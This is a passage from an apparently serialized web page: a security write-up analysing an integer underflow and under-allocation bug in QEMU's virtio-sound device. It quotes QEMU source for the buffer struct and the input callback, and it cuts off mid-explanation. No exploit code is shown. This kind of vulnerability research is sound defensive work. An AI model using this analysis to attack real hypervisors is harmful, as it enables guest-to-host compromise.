entry);",{"type":21,"tag":85,"props":124797,"children":124798},{"style":92},[124799],{"type":26,"value":53085},{"type":21,"tag":85,"props":124801,"children":124802},{"class":87,"line":23973},[124803],{"type":21,"tag":85,"props":124804,"children":124805},{"style":114},[124806],{"type":26,"value":4118},{"type":21,"tag":85,"props":124808,"children":124809},{"class":87,"line":23981},[124810,124815],{"type":21,"tag":85,"props":124811,"children":124812},{"style":2885},[124813],{"type":26,"value":124814},"        continue",{"type":21,"tag":85,"props":124816,"children":124817},{"style":114},[124818],{"type":26,"value":2535},{"type":21,"tag":85,"props":124820,"children":124821},{"class":87,"line":23989},[124822],{"type":21,"tag":85,"props":124823,"children":124824},{"emptyLinePlaceholder":16},[124825],{"type":26,"value":703},{"type":21,"tag":85,"props":124827,"children":124828},{"class":87,"line":23998},[124829],{"type":21,"tag":85,"props":124830,"children":124831},{"style":114},[124832],{"type":26,"value":124501},{"type":21,"tag":85,"props":124834,"children":124835},{"class":87,"line":24040},[124836],{"type":21,"tag":85,"props":124837,"children":124838},{"style":114},[124839],{"type":26,"value":2671},{"type":21,"tag":22,"props":124841,"children":124842},{},[124843,124845,124851,124853,124859,124861,124866,124867,124873],{"type":26,"value":124844},"At ",{"type":21,"tag":66,"props":124846,"children":124848},{"className":124847},[],[124849],{"type":26,"value":124850},"[1]",{"type":26,"value":124852},", a ",{"type":21,"tag":66,"props":124854,"children":124856},{"className":124855},[],[124857],{"type":26,"value":124858},"VirtQueueElement *elem",{"type":26,"value":124860}," is popped from the virtqueue. It contains the ",{"type":21,"tag":66,"props":124862,"children":124864},{"className":124863},[],[124865],{"type":26,"value":124575},{"type":26,"value":11408},{"type":21,"tag":66,"props":124868,"children":124870},{"className":124869},[],[124871],{"type":26,"value":124872},"out_sg",{"type":26,"value":124874}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":21,"tag":22,"props":124876,"children":124877},{},[124878,124880,124886,124888,124894,124896,124902,124904,124910,124912,124918],{"type":26,"value":124879},"Further at ",{"type":21,"tag":66,"props":124881,"children":124883},{"className":124882},[],[124884],{"type":26,"value":124885},"[2]",{"type":26,"value":124887},", the device computes the size of the data buffer as ",{"type":21,"tag":66,"props":124889,"children":124891},{"className":124890},[],[124892],{"type":26,"value":124893},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":26,"value":124895},". That value is then used in the allocation: ",{"type":21,"tag":66,"props":124897,"children":124899},{"className":124898},[],[124900],{"type":26,"value":124901},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":26,"value":124903},". Finally, at ",{"type":21,"tag":66,"props":124905,"children":124907},{"className":124906},[],[124908],{"type":26,"value":124909},"[3]",{"type":26,"value":124911},", the newly allocated buffer is appended to the ",{"type":21,"tag":66,"props":124913,"children":124915},{"className":124914},[],[124916],{"type":26,"value":124917},"stream->queue",{"type":26,"value":124919}," linked list.",{"type":21,"tag":22,"props":124921,"children":124922},{},[124923,124925,124930,124932,124937,124939,124944,124946,124952],{"type":26,"value":124924},"Because both the ",{"type":21,"tag":66,"props":124926,"children":124928},{"className":124927},[],[124929],{"type":26,"value":124575},{"type":26,"value":124931}," iovec and the ",{"type":21,"tag":66,"props":124933,"children":124935},{"className":124934},[],[124936],{"type":26,"value":124592},{"type":26,"value":124938}," field are guest-controlled, and there is no check that the total ",{"type":21,"tag":66,"props":124940,"children":124942},{"className":124941},[],[124943],{"type":26,"value":124575},{"type":26,"value":124945}," size is at least ",{"type":21,"tag":66,"props":124947,"children":124949},{"className":124948},[],[124950],{"type":26,"value":124951},"sizeof(virtio_snd_pcm_status)",{"type":26,"value":124953},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":21,"tag":22,"props":124955,"children":124956},{},[124957,124959,124964,124966,124972,124974,124980,124982,124988],{"type":26,"value":124958},"From the guest driver, we can provide an empty ",{"type":21,"tag":66,"props":124960,"children":124962},{"className":124961},[],[124963],{"type":26,"value":124575},{"type":26,"value":124965}," iovec. In that case, the calculation becomes ",{"type":21,"tag":66,"props":124967,"children":124969},{"className":124968},[],[124970],{"type":26,"value":124971},"0 - sizeof(virtio_snd_pcm_status)",{"type":26,"value":124973},", so the allocation size effectively becomes ",{"type":21,"tag":66,"props":124975,"children":124977},{"className":124976},[],[124978],{"type":26,"value":124979},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":26,"value":124981},". Given the definition of ",{"type":21,"tag":66,"props":124983,"children":124985},{"className":124984},[],[124986],{"type":26,"value":124987},"VirtIOSoundPCMBuffer",{"type":26,"value":172},{"type":21,"tag":75,"props":124990,"children":124992},{"code":124991,"language":3918,"meta":7,"className":16935,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[124993],{"type":21,"tag":66,"props":124994,"children":124995},{"__ignoreMap":7},[124996,125008,125021,125036,125053,125065,125077,125085,125097,125117],{"type":21,"tag":85,"props":124997,"children":124998},{"class":87,"line":88},[124999,125003],{"type":21,"tag":85,"props":125000,"children":125001},{"style":102},[125002],{"type":26,"value":9814},{"type":21,"tag":85,"props":125004,"children":125005},{"style":114},[125006],{"type":26,"value":125007}," VirtIOSoundPCMBuffer {\n",{"type":21,"tag":85,"props":125009,"children":125010},{"class":87,"line":98},[125011,125016],{"type":21,"tag":85,"props":125012,"children":125013},{"style":1021},[125014],{"type":26,"value":125015},"    QSIMPLEQ_ENTRY",{"type":21,"tag":85,"props":125017,"children":125018},{"style":114},[125019],{"type":26,"value":125020},"(VirtIOSoundPCMBuffer) entry;\n",{"type":21,"tag":85,"props":125022,"children":125023},{"class":87,"line":151},[125024,125028,125032],{"type":21,"tag":85,"props":125025,"children":125026},{"style":114},[125027],{"type":26,"value":124353},{"type":21,"tag":85,"props":125029,"children":125030},{"style":169},[125031],{"type":26,"value":3052},{"type":21,"tag":85,"props":125033,"children":125034},{"style":114},[125035],{"type":26,"value":124362},{"type":21,"tag":85,"props":125037,"children":125038},{"class":87,"line":160},[125039,125044,125048],{"type":21,"tag":85,"props":125040,"children":125041},{"style":114},[125042],{"type":26,"value":125043},"    VirtQueue ",{"type":21,"tag":85,"props":125045,"children":125046},{"style":169},[125047],{"type":26,"value":3052},{"type":21,"tag":85,"props":125049,"children":125050},{"style":114},[125051],{"type":26,"value":125052},"vq;\n",{"type":21,"tag":85,"props":125054,"children":125055},{"class":87,"line":185},[125056,125060],{"type":21,"tag":85,"props":125057,"children":125058},{"style":102},[125059],{"type":26,"value":16985},{"type":21,"tag":85,"props":125061,"children":125062},{"style":114},[125063],{"type":26,"value":125064}," size;\n",{"type":21,"tag":85,"props":125066,"children":125067},{"class":87,"line":501},[125068,125072],{"type":21,"tag":85,"props":125069,"children":125070},{"style":102},[125071],{"type":26,"value":56069},{"type":21,"tag":85,"props":125073,"children":125074},{"style":114},[125075],{"type":26,"value":125076}," offset;\n",{"type":21,"tag":85,"props":125078,"children":125079},{"class":87,"line":697},[125080],{"type":21,"tag":85,"props":125081,"children":125082},{"style":92},[125083],{"type":26,"value":125084},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":21,"tag":85,"props":125086,"children":125087},{"class":87,"line":706},[125088,125092],{"type":21,"tag":85,"props":125089,"children":125090},{"style":102},[125091],{"type":26,"value":46927},{"type":21,"tag":85,"props":125093,"children":125094},{"style":114},[125095],{"type":26,"value":125096}," populated;\n",{"type":21,"tag":85,"props":125098,"children":125099},{"class":87,"line":1100},[125100,125104,125108,125113],{"type":21,"tag":85,"props":125101,"children":125102},{"style":102},[125103],{"type":26,"value":58914},{"type":21,"tag":85,"props":125105,"children":125106},{"style":114},[125107],{"type":26,"value":15523},{"type":21,"tag":85,"props":125109,"children":125110},{"style":102},[125111],{"type":26,"value":125112},"[]",{"type":21,"tag":85,"props":125114,"children":125115},{"style":114},[125116],{"type":26,"value":2535},{"type":21,"tag":85,"props":125118,"children":125119},{"class":87,"line":1339},[125120],{"type":21,"tag":85,"props":125121,"children":125122},{"style":114},[125123],{"type":26,"value":16998},{"type":21,"tag":22,"props":125125,"children":125126},{},[125127,125129,125135,125137,125142,125144,125149,125151,125156,125158,125163,125165,125171],{"type":26,"value":125128},"That under-allocation removes the ",{"type":21,"tag":66,"props":125130,"children":125132},{"className":125131},[],[125133],{"type":26,"value":125134},"populated",{"type":26,"value":125136}," field along with the variable-sized ",{"type":21,"tag":66,"props":125138,"children":125140},{"className":125139},[],[125141],{"type":26,"value":4469},{"type":26,"value":125143}," array. As the comment says, ",{"type":21,"tag":66,"props":125145,"children":125147},{"className":125146},[],[125148],{"type":26,"value":125134},{"type":26,"value":125150}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":21,"tag":66,"props":125152,"children":125154},{"className":125153},[],[125155],{"type":26,"value":4779},{"type":26,"value":125157},", the device believes data should be ",{"type":21,"tag":66,"props":125159,"children":125161},{"className":125160},[],[125162],{"type":26,"value":4779},{"type":26,"value":125164}," byte, while the actual allocation is ",{"type":21,"tag":66,"props":125166,"children":125168},{"className":125167},[],[125169],{"type":26,"value":125170},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":26,"value":73},{"type":21,"tag":19318,"props":125173,"children":125175},{"id":125174},"populating-data-buffers",[125176],{"type":26,"value":125177},"Populating Data Buffers",{"type":21,"tag":22,"props":125179,"children":125180},{},[125181],{"type":26,"value":125182},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":21,"tag":75,"props":125184,"children":125186},{"code":125185,"language":3918,"meta":7,"className":16935,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[125187],{"type":21,"tag":66,"props":125188,"children":125189},{"__ignoreMap":7},[125190,125197,125205,125212,125220,125228,125235,125284,125291,125317,125334,125346,125353,125385,125430,125470,125477,125485,125492,125517,125545,125569,125577,125589,125627,125640,125652,125659,125705,125742,125785,125806,125826,125846,125857,125864,125887,125903,125911,125918,125925,125932],{"type":21,"tag":85,"props":125191,"children":125192},{"class":87,"line":88},[125193],{"type":21,"tag":85,"props":125194,"children":125195},{"style":92},[125196],{"type":26,"value":49821},{"type":21,"tag":85,"props":125198,"children":125199},{"class":87,"line":98},[125200],{"type":21,"tag":85,"props":125201,"children":125202},{"style":92},[125203],{"type":26,"value":125204}," * AUD_* input callback.\n",{"type":21,"tag":85,"props":125206,"children":125207},{"class":87,"line":151},[125208],{"type":21,"tag":85,"props":125209,"children":125210},{"style":92},[125211],{"type":26,"value":19915},{"type":21,"tag":85,"props":125213,"children":125214},{"class":87,"line":160},[125215],{"type":21,"tag":85,"props":125216,"children":125217},{"style":92},[125218],{"type":26,"value":125219}," * @data: VirtIOSoundPCMStream stream\n",{"type":21,"tag":85,"props":125221,"children":125222},{"class":87,"line":185},[125223],{"type":21,"tag":85,"props":125224,"children":125225},{"style":92},[125226],{"type":26,"value":125227}," * @available: number of bytes that can be read with AUD_read()\n",{"type":21,"tag":85,"props":125229,"children":125230},{"class":87,"line":501},[125231],{"type":21,"tag":85,"props":125232,"children":125233},{"style":92},[125234],{"type":26,"value":124290},{"type":21,"tag":85,"props":125236,"children":125237},{"class":87,"line":697},[125238,125242,125246,125251,125255,125259,125263,125267,125271,125275,125280],{"type":21,"tag":85,"props":125239,"children":125240},{"style":102},[125241],{"type":26,"value":51500},{"type":21,"tag":85,"props":125243,"children":125244},{"style":102},[125245],{"type":26,"value":51505},{"type":21,"tag":85,"props":125247,"children":125248},{"style":1021},[125249],{"type":26,"value":125250}," virtio_snd_pcm_in_cb",{"type":21,"tag":85,"props":125252,"children":125253},{"style":114},[125254],{"type":26,"value":1439},{"type":21,"tag":85,"props":125256,"children":125257},{"style":102},[125258],{"type":26,"value":52083},{"type":21,"tag":85,"props":125260,"children":125261},{"style":169},[125262],{"type":26,"value":10231},{"type":21,"tag":85,"props":125264,"children":125265},{"style":120},[125266],{"type":26,"value":4469},{"type":21,"tag":85,"props":125268,"children":125269},{"style":114},[125270],{"type":26,"value":256},{"type":21,"tag":85,"props":125272,"children":125273},{"style":102},[125274],{"type":26,"value":19473},{"type":21,"tag":85,"props":125276,"children":125277},{"style":120},[125278],{"type":26,"value":125279}," available",{"type":21,"tag":85,"props":125281,"children":125282},{"style":114},[125283],{"type":26,"value":2485},{"type":21,"tag":85,"props":125285,"children":125286},{"class":87,"line":706},[125287],{"type":21,"tag":85,"props":125288,"children":125289},{"style":114},[125290],{"type":26,"value":11296},{"type":21,"tag":85,"props":125292,"children":125293},{"class":87,"line":1100},[125294,125299,125303,125308,125312],{"type":21,"tag":85,"props":125295,"children":125296},{"style":114},[125297],{"type":26,"value":125298},"    VirtIOSoundPCMStream ",{"type":21,"tag":85,"props":125300,"children":125301},{"style":169},[125302],{"type":26,"value":3052},{"type":21,"tag":85,"props":125304,"children":125305},{"style":114},[125306],{"type":26,"value":125307},"stream ",{"type":21,"tag":85,"props":125309,"children":125310},{"style":169},[125311],{"type":26,"value":741},{"type":21,"tag":85,"props":125313,"children":125314},{"style":114},[125315],{"type":26,"value":125316}," data;\n",{"type":21,"tag":85,"props":125318,"children":125319},{"class":87,"line":1339},[125320,125325,125329],{"type":21,"tag":85,"props":125321,"children":125322},{"style":114},[125323],{"type":26,"value":125324},"    VirtIOSoundPCMBuffer ",{"type":21,"tag":85,"props":125326,"children":125327},{"style":169},[125328],{"type":26,"value":3052},{"type":21,"tag":85,"props":125330,"children":125331},{"style":114},[125332],{"type":26,"value":125333},"buffer;\n",{"type":21,"tag":85,"props":125335,"children":125336},{"class":87,"line":1348},[125337,125341],{"type":21,"tag":85,"props":125338,"children":125339},{"style":102},[125340],{"type":26,"value":16985},{"type":21,"tag":85,"props":125342,"children":125343},{"style":114},[125344],{"type":26,"value":125345}," size, max_size;\n",{"type":21,"tag":85,"props":125347,"children":125348},{"class":87,"line":1386},[125349],{"type":21,"tag":85,"props":125350,"children":125351},{"emptyLinePlaceholder":16},[125352],{"type":26,"value":703},{"type":21,"tag":85,"props":125354,"children":125355},{"class":87,"line":1394},[125356,125361,125365,125369,125373,125377,125381],{"type":21,"tag":85,"props":125357,"children":125358},{"style":1021},[125359],{"type":26,"value":125360},"    WITH_QEMU_LOCK_GUARD",{"type":21,"tag":85,"props":125362,"children":125363},{"style":114},[125364],{"type":26,"value":1439},{"type":21,"tag":85,"props":125366,"children":125367},{"style":169},[125368],{"type":26,"value":2238},{"type":21,"tag":85,"props":125370,"children":125371},{"style":120},[125372],{"type":26,"value":36709},{"type":21,"tag":85,"props":125374,"children":125375},{"style":114},[125376],{"type":26,"value":14175},{"type":21,"tag":85,"props":125378,"children":125379},{"style":120},[125380],{"type":26,"value":124537},{"type":21,"tag":85,"props":125382,"children":125383},{"style":114},[125384],{"type":26,"value":15222},{"type":21,"tag":85,"props":125386,"children":125387},{"class":87,"line":1402},[125388,125393,125397,125401,125406,125410,125414,125418,125422,125426],{"type":21,"tag":85,"props":125389,"children":125390},{"style":2885},[125391],{"type":26,"value":125392},"        while",{"type":21,"tag":85,"props":125394,"children":125395},{"style":114},[125396],{"type":26,"value":717},{"type":21,"tag":85,"props":125398,"children":125399},{"style":169},[125400],{"type":26,"value":21049},{"type":21,"tag":85,"props":125402,"children":125403},{"style":1021},[125404],{"type":26,"value":125405},"QSIMPLEQ_EMPTY",{"type":21,"tag":85,"props":125407,"children":125408},{"style":114},[125409],{"type":26,"value":1439},{"type":21,"tag":85,"props":125411,"children":125412},{"style":169},[125413],{"type":26,"value":2238},{"type":21,"tag":85,"props":125415,"children":125416},{"style":120},[125417],{"type":26,"value":36709},{"type":21,"tag":85,"props":125419,"children":125420},{"style":114},[125421],{"type":26,"value":14175},{"type":21,"tag":85,"props":125423,"children":125424},{"style":120},[125425],{"type":26,"value":124790},{"type":21,"tag":85,"props":125427,"children":125428},{"style":114},[125429],{"type":26,"value":35641},{"type":21,"tag":85,"props":125431,"children":125432},{"class":87,"line":3145},[125433,125437,125441,125446,125450,125454,125458,125462,125466],{"type":21,"tag":85,"props":125434,"children":125435},{"style":114},[125436],{"type":26,"value":124626},{"type":21,"tag":85,"props":125438,"children":125439},{"style":169},[125440],{"type":26,"value":741},{"type":21,"tag":85,"props":125442,"children":125443},{"style":1021},[125444],{"type":26,"value":125445}," QSIMPLEQ_FIRST",{"type":21,"tag":85,"props":125447,"children":125448},{"style":114},[125449],{"type":26,"value":1439},{"type":21,"tag":85,"props":125451,"children":125452},{"style":169},[125453],{"type":26,"value":2238},{"type":21,"tag":85,"props":125455,"children":125456},{"style":120},[125457],{"type":26,"value":36709},{"type":21,"tag":85,"props":125459,"children":125460},{"style":114},[125461],{"type":26,"value":14175},{"type":21,"tag":85,"props":125463,"children":125464},{"style":120},[125465],{"type":26,"value":124790},{"type":21,"tag":85,"props":125467,"children":125468},{"style":114},[125469],{"type":26,"value":777},{"type":21,"tag":85,"props":125471,"children":125472},{"class":87,"line":3246},[125473],{"type":21,"tag":85,"props":125474,"children":125475},{"emptyLinePlaceholder":16},[125476],{"type":26,"value":703},{"type":21,"tag":85,"props":125478,"children":125479},{"class":87,"line":3255},[125480],{"type":21,"tag":85,"props":125481,"children":125482},{"style":114},[125483],{"type":26,"value":125484},"            [...]\n",{"type":21,"tag":85,"props":125486,"children":125487},{"class":87,"line":3286},[125488],{"type":21,"tag":85,"props":125489,"children":125490},{"emptyLinePlaceholder":16},[125491],{"type":26,"value":703},{"type":21,"tag":85,"props":125493,"children":125494},{"class":87,"line":3295},[125495,125500,125504,125508,125512],{"type":21,"tag":85,"props":125496,"children":125497},{"style":114},[125498],{"type":26,"value":125499},"            max_size ",{"type":21,"tag":85,"props":125501,"children":125502},{"style":169},[125503],{"type":26,"value":741},{"type":21,"tag":85,"props":125505,"children":125506},{"style":1021},[125507],{"type":26,"value":124558},{"type":21,"tag":85,"props":125509,"children":125510},{"style":114},[125511],{"type":26,"value":1439},{"type":21,"tag":85,"props":125513,"children":125514},{"style":92},[125515],{"type":26,"value":125516},"                    // [1]\n",{"type":21,"tag":85,"props":125518,"children":125519},{"class":87,"line":3308},[125520,125525,125529,125533,125537,125541],{"type":21,"tag":85,"props":125521,"children":125522},{"style":120},[125523],{"type":26,"value":125524},"                buffer",{"type":21,"tag":85,"props":125526,"children":125527},{"style":114},[125528],{"type":26,"value":14175},{"type":21,"tag":85,"props":125530,"children":125531},{"style":120},[125532],{"type":26,"value":52520},{"type":21,"tag":85,"props":125534,"children":125535},{"style":114},[125536],{"type":26,"value":14175},{"type":21,"tag":85,"props":125538,"children":125539},{"style":120},[125540],{"type":26,"value":124575},{"type":21,"tag":85,"props":125542,"children":125543},{"style":114},[125544],{"type":26,"value":182},{"type":21,"tag":85,"props":125546,"children":125547},{"class":87,"line":3333},[125548,125552,125556,125560,125564],{"type":21,"tag":85,"props":125549,"children":125550},{"style":120},[125551],{"type":26,"value":125524},{"type":21,"tag":85,"props":125553,"children":125554},{"style":114},[125555],{"type":26,"value":14175},{"type":21,"tag":85,"props":125557,"children":125558},{"style":120},[125559],{"type":26,"value":52520},{"type":21,"tag":85,"props":125561,"children":125562},{"style":114},[125563],{"type":26,"value":14175},{"type":21,"tag":85,"props":125565,"children":125566},{"style":120},[125567],{"type":26,"value":125568},"in_num\n",{"type":21,"tag":85,"props":125570,"children":125571},{"class":87,"line":3369},[125572],{"type":21,"tag":85,"props":125573,"children":125574},{"style":114},[125575],{"type":26,"value":125576},"            );\n",{"type":21,"tag":85,"props":125578,"children":125579},{"class":87,"line":3377},[125580,125585],{"type":21,"tag":85,"props":125581,"children":125582},{"style":2885},[125583],{"type":26,"value":125584},"            for",{"type":21,"tag":85,"props":125586,"children":125587},{"style":114},[125588],{"type":26,"value":124388},{"type":21,"tag":85,"props":125590,"children":125591},{"class":87,"line":3386},[125592,125596,125600,125605,125609,125613,125617,125622],{"type":21,"tag":85,"props":125593,"children":125594},{"style":2885},[125595],{"type":26,"value":103982},{"type":21,"tag":85,"props":125597,"children":125598},{"style":114},[125599],{"type":26,"value":717},{"type":21,"tag":85,"props":125601,"children":125602},{"style":120},[125603],{"type":26,"value":125604},"buffer",{"type":21,"tag":85,"props":125606,"children":125607},{"style":114},[125608],{"type":26,"value":14175},{"type":21,"tag":85,"props":125610,"children":125611},{"style":120},[125612],{"type":26,"value":124722},{"type":21,"tag":85,"props":125614,"children":125615},{"style":169},[125616],{"type":26,"value":2658},{"type":21,"tag":85,"props":125618,"children":125619},{"style":114},[125620],{"type":26,"value":125621}," max_size) {",{"type":21,"tag":85,"props":125623,"children":125624},{"style":92},[125625],{"type":26,"value":125626},"     // [2]\n",{"type":21,"tag":85,"props":125628,"children":125629},{"class":87,"line":3394},[125630,125635],{"type":21,"tag":85,"props":125631,"children":125632},{"style":1021},[125633],{"type":26,"value":125634},"                    return_rx_buffer",{"type":21,"tag":85,"props":125636,"children":125637},{"style":114},[125638],{"type":26,"value":125639},"(stream, buffer);\n",{"type":21,"tag":85,"props":125641,"children":125642},{"class":87,"line":3410},[125643,125648],{"type":21,"tag":85,"props":125644,"children":125645},{"style":2885},[125646],{"type":26,"value":125647},"                    break",{"type":21,"tag":85,"props":125649,"children":125650},{"style":114},[125651],{"type":26,"value":2535},{"type":21,"tag":85,"props":125653,"children":125654},{"class":87,"line":3427},[125655],{"type":21,"tag":85,"props":125656,"children":125657},{"style":114},[125658],{"type":26,"value":71531},{"type":21,"tag":85,"props":125660,"children":125661},{"class":87,"line":3445},[125662,125667,125671,125676,125680,125684,125688,125693,125697,125701],{"type":21,"tag":85,"props":125663,"children":125664},{"style":114},[125665],{"type":26,"value":125666},"                size ",{"type":21,"tag":85,"props":125668,"children":125669},{"style":169},[125670],{"type":26,"value":741},{"type":21,"tag":85,"props":125672,"children":125673},{"style":1021},[125674],{"type":26,"value":125675}," AUD_read",{"type":21,"tag":85,"props":125677,"children":125678},{"style":114},[125679],{"type":26,"value":1439},{"type":21,"tag":85,"props":125681,"children":125682},{"style":120},[125683],{"type":26,"value":36709},{"type":21,"tag":85,"props":125685,"children":125686},{"style":114},[125687],{"type":26,"value":14175},{"type":21,"tag":85,"props":125689,"children":125690},{"style":120},[125691],{"type":26,"value":125692},"voice",{"type":21,"tag":85,"props":125694,"children":125695},{"style":114},[125696],{"type":26,"value":73},{"type":21,"tag":85,"props":125698,"children":125699},{"style":120},[125700],{"type":26,"value":95960},{"type":21,"tag":85,"props":125702,"children":125703},{"style":114},[125704],{"type":26,"value":182},{"type":21,"tag":85,"props":125706,"children":125707},{"class":87,"line":3490},[125708,125713,125717,125721,125725,125730,125734,125738],{"type":21,"tag":85,"props":125709,"children":125710},{"style":120},[125711],{"type":26,"value":125712},"                        buffer",{"type":21,"tag":85,"props":125714,"children":125715},{"style":114},[125716],{"type":26,"value":14175},{"type":21,"tag":85,"props":125718,"children":125719},{"style":120},[125720],{"type":26,"value":4469},{"type":21,"tag":85,"props":125722,"children":125723},{"style":169},[125724],{"type":26,"value":3274},{"type":21,"tag":85,"props":125726,"children":125727},{"style":120},[125728],{"type":26,"value":125729}," buffer",{"type":21,"tag":85,"props":125731,"children":125732},{"style":114},[125733],{"type":26,"value":14175},{"type":21,"tag":85,"props":125735,"children":125736},{"style":120},[125737],{"type":26,"value":124722},{"type":21,"tag":85,"props":125739,"children":125740},{"style":114},[125741],{"type":26,"value":182},{"type":21,"tag":85,"props":125743,"children":125744},{"class":87,"line":3596},[125745,125750,125755,125759,125763,125767,125771,125776,125780],{"type":21,"tag":85,"props":125746,"children":125747},{"style":1021},[125748],{"type":26,"value":125749},"                        MIN",{"type":21,"tag":85,"props":125751,"children":125752},{"style":114},[125753],{"type":26,"value":125754},"(available, (",{"type":21,"tag":85,"props":125756,"children":125757},{"style":120},[125758],{"type":26,"value":36709},{"type":21,"tag":85,"props":125760,"children":125761},{"style":114},[125762],{"type":26,"value":14175},{"type":21,"tag":85,"props":125764,"children":125765},{"style":120},[125766],{"type":26,"value":98744},{"type":21,"tag":85,"props":125768,"children":125769},{"style":114},[125770],{"type":26,"value":73},{"type":21,"tag":85,"props":125772,"children":125773},{"style":120},[125774],{"type":26,"value":125775},"period_bytes",{"type":21,"tag":85,"props":125777,"children":125778},{"style":169},[125779],{"type":26,"value":51711},{"type":21,"tag":85,"props":125781,"children":125782},{"style":92},[125783],{"type":26,"value":125784},"     // [3]\n",{"type":21,"tag":85,"props":125786,"children":125787},{"class":87,"line":23938},[125788,125793,125797,125801],{"type":21,"tag":85,"props":125789,"children":125790},{"style":120},[125791],{"type":26,"value":125792},"                                        buffer",{"type":21,"tag":85,"props":125794,"children":125795},{"style":114},[125796],{"type":26,"value":14175},{"type":21,"tag":85,"props":125798,"children":125799},{"style":120},[125800],{"type":26,"value":124722},{"type":21,"tag":85,"props":125802,"children":125803},{"style":114},[125804],{"type":26,"value":125805},")));\n",{"type":21,"tag":85,"props":125807,"children":125808},{"class":87,"line":23973},[125809,125813,125817,125821],{"type":21,"tag":85,"props":125810,"children":125811},{"style":2885},[125812],{"type":26,"value":103982},{"type":21,"tag":85,"props":125814,"children":125815},{"style":114},[125816],{"type":26,"value":717},{"type":21,"tag":85,"props":125818,"children":125819},{"style":169},[125820],{"type":26,"value":21049},{"type":21,"tag":85,"props":125822,"children":125823},{"style":114},[125824],{"type":26,"value":125825},"size) {\n",{"type":21,"tag":85,"props":125827,"children":125828},{"class":87,"line":23981},[125829,125834,125838,125842],{"type":21,"tag":85,"props":125830,"children":125831},{"style":114},[125832],{"type":26,"value":125833},"                    available ",{"type":21,"tag":85,"props":125835,"children":125836},{"style":169},[125837],{"type":26,"value":741},{"type":21,"tag":85,"props":125839,"children":125840},{"style":2285},[125841],{"type":26,"value":2830},{"type":21,"tag":85,"props":125843,"children":125844},{"style":114},[125845],{"type":26,"value":2535},{"type":21,"tag":85,"props":125847,"children":125848},{"class":87,"line":23989},[125849,125853],{"type":21,"tag":85,"props":125850,"children":125851},{"style":2885},[125852],{"type":26,"value":125647},{"type":21,"tag":85,"props":125854,"children":125855},{"style":114},[125856],{"type":26,"value":2535},{"type":21,"tag":85,"props":125858,"children":125859},{"class":87,"line":23998},[125860],{"type":21,"tag":85,"props":125861,"children":125862},{"style":114},[125863],{"type":26,"value":71531},{"type":21,"tag":85,"props":125865,"children":125866},{"class":87,"line":24040},[125867,125871,125875,125879,125883],{"type":21,"tag":85,"props":125868,"children":125869},{"style":120},[125870],{"type":26,"value":125524},{"type":21,"tag":85,"props":125872,"children":125873},{"style":114},[125874],{"type":26,"value":14175},{"type":21,"tag":85,"props":125876,"children":125877},{"style":120},[125878],{"type":26,"value":124722},{"type":21,"tag":85,"props":125880,"children":125881},{"style":169},[125882],{"type":26,"value":15483},{"type":21,"tag":85,"props":125884,"children":125885},{"style":114},[125886],{"type":26,"value":125064},{"type":21,"tag":85,"props":125888,"children":125889},{"class":87,"line":24073},[125890,125895,125899],{"type":21,"tag":85,"props":125891,"children":125892},{"style":114},[125893],{"type":26,"value":125894},"                available ",{"type":21,"tag":85,"props":125896,"children":125897},{"style":169},[125898],{"type":26,"value":104447},{"type":21,"tag":85,"props":125900,"children":125901},{"style":114},[125902],{"type":26,"value":125064},{"type":21,"tag":85,"props":125904,"children":125905},{"class":87,"line":24081},[125906],{"type":21,"tag":85,"props":125907,"children":125908},{"style":114},[125909],{"type":26,"value":125910},"                [...]\n",{"type":21,"tag":85,"props":125912,"children":125913},{"class":87,"line":24089},[125914],{"type":21,"tag":85,"props":125915,"children":125916},{"style":114},[125917],{"type":26,"value":59342},{"type":21,"tag":85,"props":125919,"children":125920},{"class":87,"line":24098},[125921],{"type":21,"tag":85,"props":125922,"children":125923},{"style":114},[125924],{"type":26,"value":4118},{"type":21,"tag":85,"props":125926,"children":125927},{"class":87,"line":24174},[125928],{"type":21,"tag":85,"props":125929,"children":125930},{"style":114},[125931],{"type":26,"value":507},{"type":21,"tag":85,"props":125933,"children":125934},{"class":87,"line":24207},[125935],{"type":21,"tag":85,"props":125936,"children":125937},{"style":114},[125938],{"type":26,"value":2671},{"type":21,"tag":22,"props":125940,"children":125941},{},[125942,125943,125948,125949,125955,125957,125963,125965,125970,125971,125976,125978,125983],{"type":26,"value":124844},{"type":21,"tag":66,"props":125944,"children":125946},{"className":125945},[],[125947],{"type":26,"value":124850},{"type":26,"value":256},{"type":21,"tag":66,"props":125950,"children":125952},{"className":125951},[],[125953],{"type":26,"value":125954},"max_size",{"type":26,"value":125956}," is set to ",{"type":21,"tag":66,"props":125958,"children":125960},{"className":125959},[],[125961],{"type":26,"value":125962},"iov_size(in_sg, in_num)",{"type":26,"value":125964},". Both 